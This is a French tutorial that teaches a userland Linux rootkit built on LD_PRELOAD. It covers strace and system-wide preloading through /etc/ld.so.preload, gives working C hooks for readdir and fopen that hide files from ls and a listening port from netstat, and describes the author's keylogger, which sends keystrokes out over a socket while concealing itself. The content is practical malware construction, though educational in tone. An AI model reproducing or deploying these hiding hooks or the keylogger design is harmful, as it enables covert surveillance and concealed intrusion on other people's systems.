{%hackmd @sophie8909/pink_theme %} *Userland rootkit for linux with friendly functions hooking techniques using LD_PRELOAD* # Sommaire Première Partie 1. Différence entre userland et kernel land 1. Userland 2. Kernel land 3. En général 4. Utilisation de strace pour tracer et suivre les syscalls 2. Strace 1. Utilisation de strace pour tracer et suivre les syscalls 3. LD_PRELOAD 1. Variable d'environnement LD_PRELOAD # Deuxième Partie 1. Hooker une fonction 2. readdir() 2. Rookitty (projet personnel) 1. input_event 2. socketfd() 3. fopen() hooking # Description / Abstract ## Première Partie ### Différence entre userland et kernel land Un rootkit est un type de logiciel malveillant spécialement conçu pour se dissimuler dans un ordinateur infecté, permettant ainsi aux attaquants de prendre le contrôle de l'ordinateur de manière discrète. ![](https://hackmd.io/_uploads/SkhFNI7th.png =500x) #### Userland La couche externe (ring 3) est la partie dite "userland" du système d'exploitation. C'est ici que s'exécutent les applications et les processus utilisateur. Les programmes s'exécutent avec des privilèges limités et doivent passer par le kernel pour accéder au matériel hardware, driver ou aux ressources système. #### Kernel land La partie interne (ring 0) est la partie dite "kernel land". Cette partie utilise des syscalls, permettant qu'une application (ring 3) puisse utiliser des fonctionnalités sans avoir à élever ces privilèges Il a un accès complet aux ressources matérielles et aux fonctionnalités du système et est responsable de la gestion des ressources et des fonctionnalités système. En "ring 0" ou dans en "kernel land", on retrouve le coeur du système d’exploitation. #### En général Un rootkit user-land utilise les fonctions et interfaces fournies par le kernel aux utilisateurs pour opérer. Les rootkits kernel land sont généralement plus difficiles à mettre en place car ils nécessitent une manipulation directe du noyau. Il est nécessaire lors de la compilation d'être très préçis pour ne pas faire crash le système. ### Utilisation de strace pour tracer et suivre les syscalls `strace` est un outil de debug et d'analyse, il est utilisé pour intercepter les syscalls d'un process ou bien d'une commande. Prenons l'exemple de `ls` ```shell= strace ls 2> ls.txt ``` On redirige `stderr` généré par la commande `strace ls` vers un fichier afin de récupérer les messages d'erreur, les avertissements ou tout autre contenu généré par `strace` ou par `ls`, et non seulement son résultat. ``` execve("/usr/bin/ls", ["ls"], 0x7ffd73ca77a0 /* 63 vars */) = 0 brk(NULL) = 0x55754bdf1000 arch_prctl(0x3001 /* ARCH_??? */, 0x7ffc617d0390) = -1 EINVAL (Argument invalide) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (Aucun fichier ou dossier de ce type) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 ... openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3 newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=3052880, ...}, AT_EMPTY_PATH) = 0 mmap(NULL, 3052880, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f6edf400000 close(3) = 0 ioctl(1, TCGETS, {c_iflag=ICRNL|IXON|IXOFF|IUTF8, c_oflag=NL0|CR0|TAB0|BS0|VT0|FF0|OPOST|ONLCR, c_cflag=B38400|CS8|CREAD, c_lflag=ISIG|ICANON|ECHO|ECHOE|ECHOK|IEXTEN|ECHOCTL|ECHOKE, ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=44, ws_col=171, ws_xpixel=1891, ws_ypixel=1022}) = 0 openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3 newfstatat(3, "", {st_mode=S_IFDIR|0755, st_size=80, ...}, AT_EMPTY_PATH) = 0 getdents64(3, 0x55754bdf77d0 /* 4 entries */, 32768) = 104 getdents64(3, 0x55754bdf77d0 /* 0 entries */, 32768) = 0 close(3) = 0 newfstatat(1, "", {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0x2), ...}, AT_EMPTY_PATH) = 0 ``` Dans cet extrait, nous nous rendons compte que la commande `ls` appelle tout un tas de syscalls, nous pouvons de se fait essayer de comprendre ce qu'il se passe lorsqu'on l'utilise. `execve()` est un syscall permettant de charger et d'exécuter un programme, il est appelé `getdents()` est un syscall permettant de lire le contenu d'un répertoire en récupérant ses entrées, ses noms de fichiers et ses informations associées. De ces faits, nous pouvons utiliser `strace` pour comprendre beaucoup de commandes basique. ### Variable d'environnement LD_PRELOAD LD_PRELOAD est une variable d’environnement qui nous permet de spécifier une bibliothèque partagée qui sera chargée au démarrage d’un programme. Lorsque cette variable est définie, cette lib sera chargée avant toutes les autres. Cela nous permet de jouer avec des fonctions qui appartiennent normalement à la libc (libc.so) en les hookant. ![](https://hackmd.io/_uploads/SkJMbx4t3.png) Lorsque l'on met le path de la librairie dans la variable `LD_PRELOAD` (`export LD_PRELOAD=$PWD/example.so)`, que l'on place le nom de la lib avec son chemin complet dans le fichier `/etc/ld.so.preload`, la bibliothèque est chargée au niveau système ![](https://hackmd.io/_uploads/SkfyLgNt3.png) ### Deuxième partie ### Hooker une fonction Pour hooker une fonction, il est nécessaire de comprendre son fonctionnement afin de redéfinir la fonction initiale pour effectuer les actions que l’on souhaite. Reprenons l'exemple de ls: La fonction `readdir()` est un wrapper de plus haut niveau qui appel `getdents()`. Nous allons nous concentrer sur cette fonction à hooker. La première chose à faire est de se référer au man de la fonction: ``` La fonction readdir() renvoie un pointeur sur une structure dirent représentant l'entrée suivante du flux répertoire pointé par dirp. Elle renvoie NULL à la fin du répertoire ou en cas d'erreur. ``` Récupérons la `struct dirent` de `dirent.h`: ``` struct dirent { ino_t d_ino; /* numéro d'inœud */ off_t d_off; /* pas une position ; consultez NOTES */ unsigned short d_reclen; /* longueur de cet enregistrement */ unsigned char d_type; /* type du fichier ; pas pris en charge par */ /* tous les types de système de fichiers */ char d_name[256]; /* nom du fichier terminé par l'octet NULL */ }; ``` La variable de cette struct nous intéressant particulièrement est `d_name`, elle récupère le nom du fichier. Avec ces informations, nous pouvons reproduire cette struct afin de manipuler son comportement ```c= struct dirent *readdir(DIR *dirp) { original_readdir = dlsym(RTLD_NEXT, "readdir"); struct dirent *ret; while ((ret = original_readdir(dirp))) { if (strstr(ret->d_name, HIDDEN) == NULL) break; } return ret; } struct dirent *readdir64(DIR *dirp) { original_readdir = dlsym(RTLD_NEXT, "readdir64"); struct dirent *ret; while ((ret = original_readdir(dirp))) { if (strstr(ret->d_name, HIDDEN) == NULL) break; } return ret; } ``` Chaque entrée est vérifiée pour déterminer si son nom (`d_name`) contient la string relative à `HIDDEN` grâce à la fonction `strstr()`. Si le nom de l'entrée ne contient pas la chaîne `HIDDEN`, la boucle est interrompue et retourne la fonction originale. Ce petit tricks permet de ne pas hooker tout le contenu de `d_name`, ce qui ne laisserait simplement plus aucun fichier d'afficher. ![](https://hackmd.io/_uploads/H1KGM-EK3.png) #### Rookitty (projet personnel) Ce mini rootkit implémente un keylogger envoyant en temps réel toutes les input user tout en cachant sa connexion de `netstat` et sa présence de `ls` Je n'ai pas encore publié le source code, mais vous pouvez me demander si vous souhaitez le voir #### input_event Ce keylogger se base sur la struct `input_event` de la lib `input.h` Ce qui nous intéresse particulièrement dans cette struct est la partie contenant la variable `code`. ``` struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value; }; ``` Les évenements contenu dans `/dev/input/eventx` représentent des périphériques d'entrée auquels les programmes peuvent accéder. Nous récupérons le numéro correspondant à notre périphérique en regardant dans `/proc/bus/input/devices` lequel est indexé dans le path `Sysfs`. Nous pouvons donc récupérer les événements en temps réel, et nous pouvons les "traduire" en utilisant la struct `input_event`. Nous possédons tout le nécessaire pour créer notre rootkit ;) #### socketfd() Les données récupérées sont envoyées via une connexion avec `sockfd()` en fonction de la valeur de `events.code` et du caractère correspondant récupéré dans `character`. *Pour une explication complète sur l'envoi via socket, j'ai réalisé un post précedemment: https://github.com/pwnwithlove/C_revshell* #### fopen() hooking Lorsque l'on utilise `strace` sur la commande `netstat` comme vu précedemment, nous nous rendons compte que le syscall `openat()` et appelé: ``` openat(AT_FDCWD, "/proc/net/tcp", O_RDONLYopenat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3 ``` Le `/proc/net/tcp` est ouvert, de façon à lire son contenu. Penchons-nous sur celui-ci: ![](https://hackmd.io/_uploads/r1bNYWVK2.png) Ce fichier est généré grâce à la fonction `tcp4_seq_show()` et `tcp6_seq_show()`. Il log les connexions actuelles TCP en hexacédimal. Si je démarre une connexion distance, on remarque bien la présence de celle-ci. `0539` (`1337` en héxadécimal) représente le port sur le lequel le serveur écoute. ![](https://hackmd.io/_uploads/SyIsjbNY2.png) De ce fait, si je hook `fopen()` (un wrapper de plus haut niveau que openat()), nous pouvons copier le contenu du `/proc/net/tcp` dans un fichier temporaire en retirant la partie contenant notre string et l'afficher en sortie. ```c= char line[256]; FILE *temp = tmpfile(); fp = original_fopen(pathname, mode); while (fgets(line, sizeof(line), fp)) { char *listener = strstr(line, "0539"); if (listener != NULL) { continue; } else { fputs(line, temp); } } return temp; ``` ![](https://hackmd.io/_uploads/rybKizNt2.png) Tadam :) https://www.kernel.org/doc/Documentation/networking/proc_net_tcp.txt